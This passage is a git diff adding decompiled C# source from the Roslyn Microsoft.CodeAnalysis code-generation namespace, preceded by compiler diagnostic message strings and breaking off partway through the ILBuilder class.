'.rsrc$02' + If tuple element names are specified, the number of element names must match the cardinality of the tuple. + Edit and Continue can't resume suspended iterator since the corresponding yield return statement has been deleted + Invalid content type + {0}.GetMetadata() must return an instance of {1}. + Reported diagnostic has an ID '{0}', which is not a valid identifier. + Can't create a module reference to an assembly. + If tuple element nullable annotations are specified, the number of annotations must match the cardinality of the tuple. + Argument contains duplicate analyzer instances. + Name cannot start with whitespace. + Arrays with more than one dimension cannot be serialized. + Changing the version of an assembly reference is not allowed during debugging: '{0}' changed version to '{1}'. + Reported diagnostic with ID '{0}' is not supported by the analyzer. + A language name must be specified for this option. + Method symbol expected + Output kind not supported. + separator is expected + A node in the list is not of the expected type. + The hintName '{0}' contains an invalid segment '{1}' at position {2}. + {0} must either be 'default' or have the same length as {1}. + Name cannot be null. + Changes must be within bounds of SourceText + Unsupported hash algorithm. + Resource stream provider should return non-null stream. + WindowsRuntime identity can't be retargetable + Argument contains an analyzer instance that does not belong to the 'Analyzers' for this CompilationWithAnalyzers instance. + Cannot target net module when emitting ref assembly. + Cannot deserialize type '{0}'. + Stream must be readable. + interface + Win32 resources, assumed to be in COFF object format, have one or more invalid relocation header values. + Analyzer '{0}' threw an exception of type '{1}' with message '{2}'. +{3} + <in-memory assembly> + {0} and {1} must have the same length. + The hintName '{0}' of the added source file must be unique within a generator. + Tuple element name cannot be an empty string. + Invalid output kind for submission. DynamicallyLinkedLibrary expected. + A SuppressionDescriptor must have an Id that is neither null nor an empty string nor a string that only contains white space. + Stream must be writable. + Invalid assembly name: '{0}' + Invalid alias. + constructor + No analyzers found + Assembly must have at least one module. + Edit and Continue can't resume suspended asynchronous method since the corresponding await expression has been deleted + Resource data provider should return non-null stream + Non-reported diagnostic with ID '{0}' cannot be suppressed. + Resource stream ended at {0} bytes, expected {1} bytes. + PE image doesn't contain managed metadata. + Empty or invalid file name + return + Analyzer driver threw an exception of type '{0}' with message '{1}'. +{2} + File size exceeds maximum allowed size of a valid metadata file. + The span does not include the end of a line. + Previous submission has errors. + The compilation references multiple assemblies whose versions only differ in auto-generated build and/or revision numbers. + Programmatic suppression of an analyzer diagnostic + Assembly file not found + Invalid public key. + The stream cannot be read from. + Reference of type '{0}' is not valid for this compilation. + The requested line number {0} must be less than the number of lines {1}. + A DiagnosticDescriptor must have an Id that is neither null nor an empty string nor a string that only contains white space. + Reported suppression with ID '{0}' is not supported by the suppressor. + The provided operation must not be part of a Control Flow Graph. + Only a single {0} can be registered per generator. + Type must be same as host object type of previous submission. + If tuple element locations are specified, the number of locations must match the cardinality of the tuple. + Current assembly: '{0}' + '{0}' was not a valid built-in operator name + Unsupported built-in operator: {0} + Illegal built-in operator name '{0}' + 'end' must not be less than 'start'. start='{0}' end='{1}'. + Can't create a reference to a module. + Analyzer Failure + Expected non-empty public key + An error occurred while loading the included rule set file {0} - {1} + Invalid characters in assembly name + NOTE: Elapsed time may be less than analyzer execution time because analyzers can run concurrently. + Argument cannot have a null element. + Argument cannot be empty. + assembly + type parameter + 'start' must not be negative + Size has to be positive. + A value in the pathMap is null. + \ No newline at end of file diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethod.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethod.cs new file mode 100644 index 0000000..3169d3b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethod.cs @@ -0,0 +1,109 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal abstract class ArrayMethod : IMethodReference, ISignature, ITypeMemberReference, IReference, INamedEntity +{ + private readonly ImmutableArray _parameters; + + protected readonly IArrayTypeReference arrayType; + + public abstract string Name { get; } + + public virtual bool ReturnValueIsByRef => false; + + public bool AcceptsExtraArguments => false; + + public ushort GenericParameterCount => 0; + + public bool IsGeneric => false; + + public ImmutableArray ExtraParameters => ImmutableArray.Empty; + + public IGenericMethodInstanceReference? AsGenericMethodInstanceReference => null; + + public ISpecializedMethodReference? AsSpecializedMethodReference => null; + + public CallingConvention CallingConvention => CallingConvention.HasThis; + + public ushort ParameterCount => (ushort)_parameters.Length; + + public ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public ImmutableArray ReturnValueCustomModifiers => ImmutableArray.Empty; + + protected ArrayMethod(IArrayTypeReference arrayType) + { + this.arrayType = arrayType; + _parameters = MakeParameters(); + } + + public abstract ITypeReference GetType(EmitContext context); + + protected virtual ImmutableArray MakeParameters() + { + int rank = arrayType.Rank; + ArrayBuilder instance = ArrayBuilder.GetInstance(rank); + for (int i = 0; i < rank; i++) + { + instance.Add(ArrayMethodParameterInfo.GetIndexParameter((ushort)i)); + } + return instance.ToImmutableAndFree(); + } + + public ImmutableArray GetParameters(EmitContext context) + { + return StaticCast.From(_parameters); + } + + public IMethodDefinition? GetResolvedMethod(EmitContext context) + { + return null; + } + + public ITypeReference GetContainingType(EmitContext context) + { + return arrayType; + } + + public IEnumerable GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public void Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + public IDefinition? AsDefinition(EmitContext context) + { + return null; + } + + public override string ToString() + { + return (((object)arrayType.GetInternalSymbol()) ?? ((object)arrayType)).ToString() + "." + Name; + } + + ISymbolInternal? IReference.GetInternalSymbol() + { + return null; + } + + public sealed override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/ArrayMembers.cs", 370); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/ArrayMembers.cs", 376); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethodParameterInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethodParameterInfo.cs new file mode 100644 index 0000000..a3c4236 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethodParameterInfo.cs @@ -0,0 +1,48 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal class ArrayMethodParameterInfo : IParameterTypeInformation, IParameterListEntry +{ + private readonly ushort _index; + + private static readonly ArrayMethodParameterInfo s_index0 = new ArrayMethodParameterInfo(0); + + private static readonly ArrayMethodParameterInfo s_index1 = new ArrayMethodParameterInfo(1); + + private static readonly ArrayMethodParameterInfo s_index2 = new ArrayMethodParameterInfo(2); + + private static readonly ArrayMethodParameterInfo s_index3 = new ArrayMethodParameterInfo(3); + + public ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public ImmutableArray CustomModifiers => ImmutableArray.Empty; + + public bool IsByReference => false; + + public ushort Index => _index; + + protected ArrayMethodParameterInfo(ushort index) + { + _index = index; + } + + public static ArrayMethodParameterInfo GetIndexParameter(ushort index) + { + return index switch + { + 0 => s_index0, + 1 => s_index1, + 2 => s_index2, + 3 => s_index3, + _ => new ArrayMethodParameterInfo(index), + }; + } + + public virtual ITypeReference GetType(EmitContext context) + { + return context.Module.GetPlatformType(PlatformType.SystemInt32, context); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethods.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethods.cs new file mode 100644 index 0000000..6d77018 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArrayMethods.cs @@ -0,0 +1,139 @@ +using System.Collections.Concurrent; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal class ArrayMethods +{ + private enum ArrayMethodKind : byte + { + GET, + SET, + ADDRESS, + CTOR + } + + private sealed class ArrayConstructor : ArrayMethod + { + public override string Name => ".ctor"; + + public ArrayConstructor(IArrayTypeReference arrayType) + : base(arrayType) + { + } + + public override ITypeReference GetType(EmitContext context) + { + return context.Module.GetPlatformType(PlatformType.SystemVoid, context); + } + } + + private sealed class ArrayGet : ArrayMethod + { + public override string Name => "Get"; + + public ArrayGet(IArrayTypeReference arrayType) + : base(arrayType) + { + } + + public override ITypeReference GetType(EmitContext context) + { + return arrayType.GetElementType(context); + } + } + + private sealed class ArrayAddress : ArrayMethod + { + public override bool ReturnValueIsByRef => true; + + public override string Name => "Address"; + + public ArrayAddress(IArrayTypeReference arrayType) + : base(arrayType) + { + } + + public override ITypeReference GetType(EmitContext context) + { + return arrayType.GetElementType(context); + } + } + + private sealed class ArraySet : ArrayMethod + { + public override string Name => "Set"; + + public ArraySet(IArrayTypeReference arrayType) + : base(arrayType) + { + } + + public override ITypeReference GetType(EmitContext context) + { + return context.Module.GetPlatformType(PlatformType.SystemVoid, context); + } + + protected override ImmutableArray MakeParameters() + { + int rank = arrayType.Rank; + ArrayBuilder instance = ArrayBuilder.GetInstance(rank + 1); + for (int i = 0; i < rank; i++) + { + instance.Add(ArrayMethodParameterInfo.GetIndexParameter((ushort)i)); + } + instance.Add(new ArraySetValueParameterInfo((ushort)rank, arrayType)); + return instance.ToImmutableAndFree(); + } + } + + private readonly ConcurrentDictionary<(byte methodKind, IReferenceOrISignature arrayType), ArrayMethod> _dict = new ConcurrentDictionary<(byte, IReferenceOrISignature), ArrayMethod>(); + + public ArrayMethod GetArrayConstructor(IArrayTypeReference arrayType) + { + return GetArrayMethod(arrayType, ArrayMethodKind.CTOR); + } + + public ArrayMethod GetArrayGet(IArrayTypeReference arrayType) + { + return GetArrayMethod(arrayType, ArrayMethodKind.GET); + } + + public ArrayMethod GetArraySet(IArrayTypeReference arrayType) + { + return GetArrayMethod(arrayType, ArrayMethodKind.SET); + } + + public ArrayMethod GetArrayAddress(IArrayTypeReference arrayType) + { + return GetArrayMethod(arrayType, ArrayMethodKind.ADDRESS); + } + + private ArrayMethod GetArrayMethod(IArrayTypeReference arrayType, ArrayMethodKind id) + { + (byte, IReferenceOrISignature) key = ((byte)id, new IReferenceOrISignature(arrayType)); + ConcurrentDictionary<(byte, IReferenceOrISignature), ArrayMethod> dict = _dict; + if (!dict.TryGetValue(key, out var value)) + { + value = MakeArrayMethod(arrayType, id); + return dict.GetOrAdd(key, value); + } + return value; + } + + private static ArrayMethod MakeArrayMethod(IArrayTypeReference arrayType, ArrayMethodKind id) + { + return id switch + { + ArrayMethodKind.CTOR => new ArrayConstructor(arrayType), + ArrayMethodKind.GET => new ArrayGet(arrayType), + ArrayMethodKind.SET => new ArraySet(arrayType), + ArrayMethodKind.ADDRESS => new ArrayAddress(arrayType), + _ => throw ExceptionUtilities.UnexpectedValue(id), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArraySetValueParameterInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArraySetValueParameterInfo.cs new file mode 100644 index 0000000..c7bf3a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ArraySetValueParameterInfo.cs @@ -0,0 +1,20 @@ +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class ArraySetValueParameterInfo : ArrayMethodParameterInfo +{ + private readonly IArrayTypeReference _arrayType; + + internal ArraySetValueParameterInfo(ushort index, IArrayTypeReference arrayType) + : base(index) + { + _arrayType = arrayType; + } + + public override ITypeReference GetType(EmitContext context) + { + return _arrayType.GetElementType(context); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/AwaitDebugId.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/AwaitDebugId.cs new file mode 100644 index 0000000..9a7a7ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/AwaitDebugId.cs @@ -0,0 +1,3 @@ +namespace Microsoft.CodeAnalysis.CodeGen; + +internal readonly record struct AwaitDebugId(byte RelativeStateOrdinal); diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/CachedArrayField.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/CachedArrayField.cs new file mode 100644 index 0000000..f3692d2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/CachedArrayField.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class CachedArrayField : SynthesizedStaticField +{ + public override ImmutableArray MappedData => default(ImmutableArray); + + internal CachedArrayField(string name, INamedTypeDefinition containingType, ITypeReference type) + : base(name, containingType, type) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ClosureDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ClosureDebugInfo.cs new file mode 100644 index 0000000..179da6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ClosureDebugInfo.cs @@ -0,0 +1,41 @@ +using System; +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct ClosureDebugInfo(int syntaxOffset, DebugId closureId) : IEquatable +{ + public readonly int SyntaxOffset = syntaxOffset; + + public readonly DebugId ClosureId = closureId; + + public bool Equals(ClosureDebugInfo other) + { + if (SyntaxOffset == other.SyntaxOffset) + { + return ClosureId.Equals(other.ClosureId); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is ClosureDebugInfo) + { + return Equals((ClosureDebugInfo)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(SyntaxOffset, ClosureId.GetHashCode()); + } + + internal string GetDebuggerDisplay() + { + return $"({ClosureId.GetDebuggerDisplay()} @{SyntaxOffset})"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/CompilationTestData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/CompilationTestData.cs new file mode 100644 index 0000000..dda6585 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/CompilationTestData.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.DiaSymReader; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class CompilationTestData +{ + internal readonly struct MethodData(ILBuilder ilBuilder, IMethodSymbolInternal method) + { + public readonly ILBuilder ILBuilder = ilBuilder; + + public readonly IMethodSymbolInternal Method = method; + } + + public readonly ConcurrentDictionary Methods = new ConcurrentDictionary(); + + public CommonPEModuleBuilder? Module; + + public Func? SymWriterFactory; + + private ImmutableDictionary? _lazyMethodsByName; + + private static readonly SymbolDisplayFormat _testDataKeyFormat = new SymbolDisplayFormat(SymbolDisplayCompilerInternalOptions.UseMetadataMethodNames | SymbolDisplayCompilerInternalOptions.IncludeContainingFileForFileTypes, SymbolDisplayGlobalNamespaceStyle.OmittedAsContaining, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces, SymbolDisplayGenericsOptions.IncludeTypeParameters | SymbolDisplayGenericsOptions.IncludeVariance, SymbolDisplayMemberOptions.IncludeExplicitInterface | SymbolDisplayMemberOptions.IncludeParameters | SymbolDisplayMemberOptions.IncludeContainingType, SymbolDisplayParameterOptions.IncludeExtensionThis | SymbolDisplayParameterOptions.IncludeParamsRefOut | SymbolDisplayParameterOptions.IncludeType, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers | SymbolDisplayMiscellaneousOptions.UseAsterisksInMultiDimensionalArrays | SymbolDisplayMiscellaneousOptions.UseErrorTypeSymbolName | SymbolDisplayMiscellaneousOptions.ExpandValueTuple); + + private static readonly SymbolDisplayFormat _testDataOperatorKeyFormat = new SymbolDisplayFormat(_testDataKeyFormat.CompilerInternalOptions, _testDataKeyFormat.GlobalNamespaceStyle, _testDataKeyFormat.TypeQualificationStyle, _testDataKeyFormat.GenericsOptions, _testDataKeyFormat.MemberOptions | SymbolDisplayMemberOptions.IncludeType, _testDataKeyFormat.ParameterOptions, _testDataKeyFormat.DelegateStyle, _testDataKeyFormat.ExtensionMethodStyle, _testDataKeyFormat.PropertyStyle, _testDataKeyFormat.LocalOptions, _testDataKeyFormat.KindOptions, _testDataKeyFormat.MiscellaneousOptions); + + public MetadataWriter? MetadataWriter { get; private set; } + + public void SetMetadataWriter(MetadataWriter writer) + { + MetadataWriter = writer; + } + + public void SetMethodILBuilder(IMethodSymbolInternal method, ILBuilder builder) + { + Methods.Add(method, new MethodData(builder, method)); + } + + public ILBuilder GetIL(Func predicate) + { + return Methods.Single>((KeyValuePair p) => predicate(p.Key)).Value.ILBuilder; + } + + public ImmutableDictionary GetMethodsByName() + { + if (_lazyMethodsByName == null) + { + Dictionary dictionary = new Dictionary(); + foreach (KeyValuePair method in Methods) + { + string methodName = GetMethodName(method.Key); + if (dictionary.ContainsKey(methodName)) + { + dictionary[methodName] = default(MethodData); + } + else + { + dictionary.Add(methodName, method.Value); + } + } + ImmutableDictionary value = dictionary.Where((KeyValuePair p) => p.Value.Method != null).ToImmutableDictionary(); + Interlocked.CompareExchange(ref _lazyMethodsByName, value, null); + } + return _lazyMethodsByName; + } + + private static string GetMethodName(IMethodSymbolInternal methodSymbol) + { + IMethodSymbol obj = (IMethodSymbol)methodSymbol.GetISymbol(); + SymbolDisplayFormat format = ((obj.MethodKind == MethodKind.UserDefinedOperator) ? _testDataOperatorKeyFormat : _testDataKeyFormat); + return obj.ToDisplayString(format); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DebugDocumentProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DebugDocumentProvider.cs new file mode 100644 index 0000000..97d19ce --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DebugDocumentProvider.cs @@ -0,0 +1,5 @@ +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal delegate DebugSourceDocument DebugDocumentProvider(string path, string basePath); diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DebugId.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DebugId.cs new file mode 100644 index 0000000..3af4367 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DebugId.cs @@ -0,0 +1,48 @@ +using System; +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct DebugId(int ordinal, int generation) : IEquatable +{ + public const int UndefinedOrdinal = -1; + + public readonly int Ordinal = ordinal; + + public readonly int Generation = generation; + + public bool Equals(DebugId other) + { + if (Ordinal == other.Ordinal) + { + return Generation == other.Generation; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is DebugId) + { + return Equals((DebugId)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Ordinal, Generation); + } + + internal string GetDebuggerDisplay() + { + if (Generation <= 0) + { + int ordinal = Ordinal; + return ordinal.ToString(); + } + return $"{Ordinal}#{Generation}"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DefaultTypeDef.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DefaultTypeDef.cs new file mode 100644 index 0000000..71808e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/DefaultTypeDef.cs @@ -0,0 +1,170 @@ +using System.Collections.Generic; +using System.Reflection.Metadata; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal abstract class DefaultTypeDef : ITypeDefinition, IDefinition, IReference, ITypeReference +{ + public IEnumerable GenericParameters => SpecializedCollections.EmptyEnumerable(); + + public ushort GenericParameterCount => 0; + + public bool HasDeclarativeSecurity => false; + + public bool IsAbstract => false; + + public bool IsBeforeFieldInit => false; + + public bool IsComObject => false; + + public bool IsGeneric => false; + + public bool IsInterface => false; + + public bool IsDelegate => false; + + public bool IsRuntimeSpecial => false; + + public bool IsSerializable => false; + + public bool IsSpecialName => false; + + public bool IsWindowsRuntimeImport => false; + + public bool IsSealed => true; + + public IEnumerable SecurityAttributes => SpecializedCollections.EmptyEnumerable(); + + public CharSet StringFormat => CharSet.Ansi; + + public bool IsEnum => false; + + public Microsoft.Cci.PrimitiveTypeCode TypeCode => Microsoft.Cci.PrimitiveTypeCode.NotPrimitive; + + public TypeDefinitionHandle TypeDef + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 740); + } + } + + public IGenericMethodParameterReference? AsGenericMethodParameterReference => null; + + public IGenericTypeInstanceReference? AsGenericTypeInstanceReference => null; + + public IGenericTypeParameterReference? AsGenericTypeParameterReference => null; + + public virtual INamespaceTypeReference? AsNamespaceTypeReference => null; + + public ISpecializedNestedTypeReference? AsSpecializedNestedTypeReference => null; + + public virtual INestedTypeReference? AsNestedTypeReference => null; + + public bool MangleName => false; + + public string? AssociatedFileIdentifier => null; + + public virtual ushort Alignment => 0; + + public virtual LayoutKind Layout => LayoutKind.Auto; + + public virtual uint SizeOf => 0u; + + public virtual bool IsValueType => false; + + public IEnumerable GetEvents(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable GetExplicitImplementationOverrides(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public virtual IEnumerable GetFields(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable Interfaces(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public virtual IEnumerable GetMethods(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public virtual IEnumerable GetNestedTypes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable GetProperties(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public virtual IEnumerable GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IDefinition AsDefinition(EmitContext context) + { + return this; + } + + ISymbolInternal? IReference.GetInternalSymbol() + { + return null; + } + + public ITypeDefinition GetResolvedType(EmitContext context) + { + return this; + } + + public virtual INamespaceTypeDefinition? AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + public virtual INestedTypeDefinition? AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + public ITypeDefinition AsTypeDefinition(EmitContext context) + { + return this; + } + + public virtual ITypeReference GetBaseClass(EmitContext context) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 769); + } + + public virtual void Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 778); + } + + public sealed override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 786); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/PrivateImplementationDetails.cs", 792); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ExplicitSizeStruct.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ExplicitSizeStruct.cs new file mode 100644 index 0000000..f602ca5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ExplicitSizeStruct.cs @@ -0,0 +1,75 @@ +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class ExplicitSizeStruct : DefaultTypeDef, INestedTypeDefinition, INamedTypeDefinition, ITypeDefinition, IDefinition, IReference, ITypeReference, INamedTypeReference, INamedEntity, ITypeDefinitionMember, ITypeMemberReference, INestedTypeReference +{ + private readonly uint _size; + + private readonly ushort _alignment; + + private readonly INamedTypeDefinition _containingType; + + private readonly ITypeReference _sysValueType; + + public override ushort Alignment => _alignment; + + public override LayoutKind Layout => LayoutKind.Explicit; + + public override uint SizeOf => _size; + + public string Name + { + get + { + if (_alignment != 1) + { + return $"__StaticArrayInitTypeSize={_size}_Align={_alignment}"; + } + return $"__StaticArrayInitTypeSize={_size}"; + } + } + + public ITypeDefinition ContainingTypeDefinition => _containingType; + + public TypeMemberVisibility Visibility => TypeMemberVisibility.Private; + + public override bool IsValueType => true; + + public override INestedTypeReference AsNestedTypeReference => this; + + internal ExplicitSizeStruct(uint size, ushort alignment, PrivateImplementationDetails containingType, ITypeReference sysValueType) + { + _size = size; + _alignment = alignment; + _containingType = containingType; + _sysValueType = sysValueType; + } + + public override string ToString() + { + return _containingType.ToString() + "." + Name; + } + + public override ITypeReference GetBaseClass(EmitContext context) + { + return _sysValueType; + } + + public override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + public ITypeReference GetContainingType(EmitContext context) + { + return _containingType; + } + + public override INestedTypeDefinition AsNestedTypeDefinition(EmitContext context) + { + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILBuilder.cs new file mode 100644 index 0000000..5147aee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ILBuilder.cs @@ -0,0 +1,3085 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal sealed class ILBuilder +{ + internal enum BlockType + { + Normal, + Try, + Catch, + Filter, + Finally, + Fault, + Switch + } + + internal enum Reachability : byte + { + NotReachable, + Reachable, + BlockedByFinally + } + + [DebuggerDisplay("{GetDebuggerDisplay(), nq}")] + internal class BasicBlock + { + private class PooledBasicBlock : BasicBlock + { + internal override void Free() + { + base.Free(); + _branchLabel = null; + base.BranchCode = ILOpCode.Nop; + _revBranchCode = 0; + NextBlock = null; + builder = null; + Reachability = Reachability.NotReachable; + Start = 0; + Pool.Free(this); + } + } + + public static readonly ObjectPool Pool = CreatePool(32); + + internal ILBuilder builder; + + private PooledBlobBuilder _lazyRegularInstructions; + + public BasicBlock NextBlock; + + private object _branchLabel; + + public int Start; + + private byte _revBranchCode; + + private ILOpCode _branchCode; + + internal Reachability Reachability; + + public PooledBlobBuilder Writer + { + get + { + if (_lazyRegularInstructions == null) + { + _lazyRegularInstructions = PooledBlobBuilder.GetInstance(); + } + return _lazyRegularInstructions; + } + } + + public int FirstILMarker { get; private set; } + + public int LastILMarker { get; private set; } + + public virtual ExceptionHandlerScope EnclosingHandler => null; + + public object BranchLabel => _branchLabel; + + public ILOpCode BranchCode + { + get + { + return _branchCode; + } + set + { + _branchCode = value; + } + } + + public ILOpCode RevBranchCode + { + get + { + return (ILOpCode)_revBranchCode; + } + set + { + _revBranchCode = (byte)value; + } + } + + public BasicBlock BranchBlock + { + get + { + BasicBlock result = null; + if (BranchLabel != null) + { + result = builder._labelInfos[BranchLabel].bb; + } + return result; + } + } + + private bool IsBranchToLabel + { + get + { + if (BranchLabel != null) + { + return BranchCode != ILOpCode.Nop; + } + return false; + } + } + + public virtual BlockType Type => BlockType.Normal; + + public BlobBuilder RegularInstructions => _lazyRegularInstructions; + + public bool HasNoRegularInstructions => _lazyRegularInstructions == null; + + public int RegularInstructionsLength => _lazyRegularInstructions?.Count ?? 0; + + private 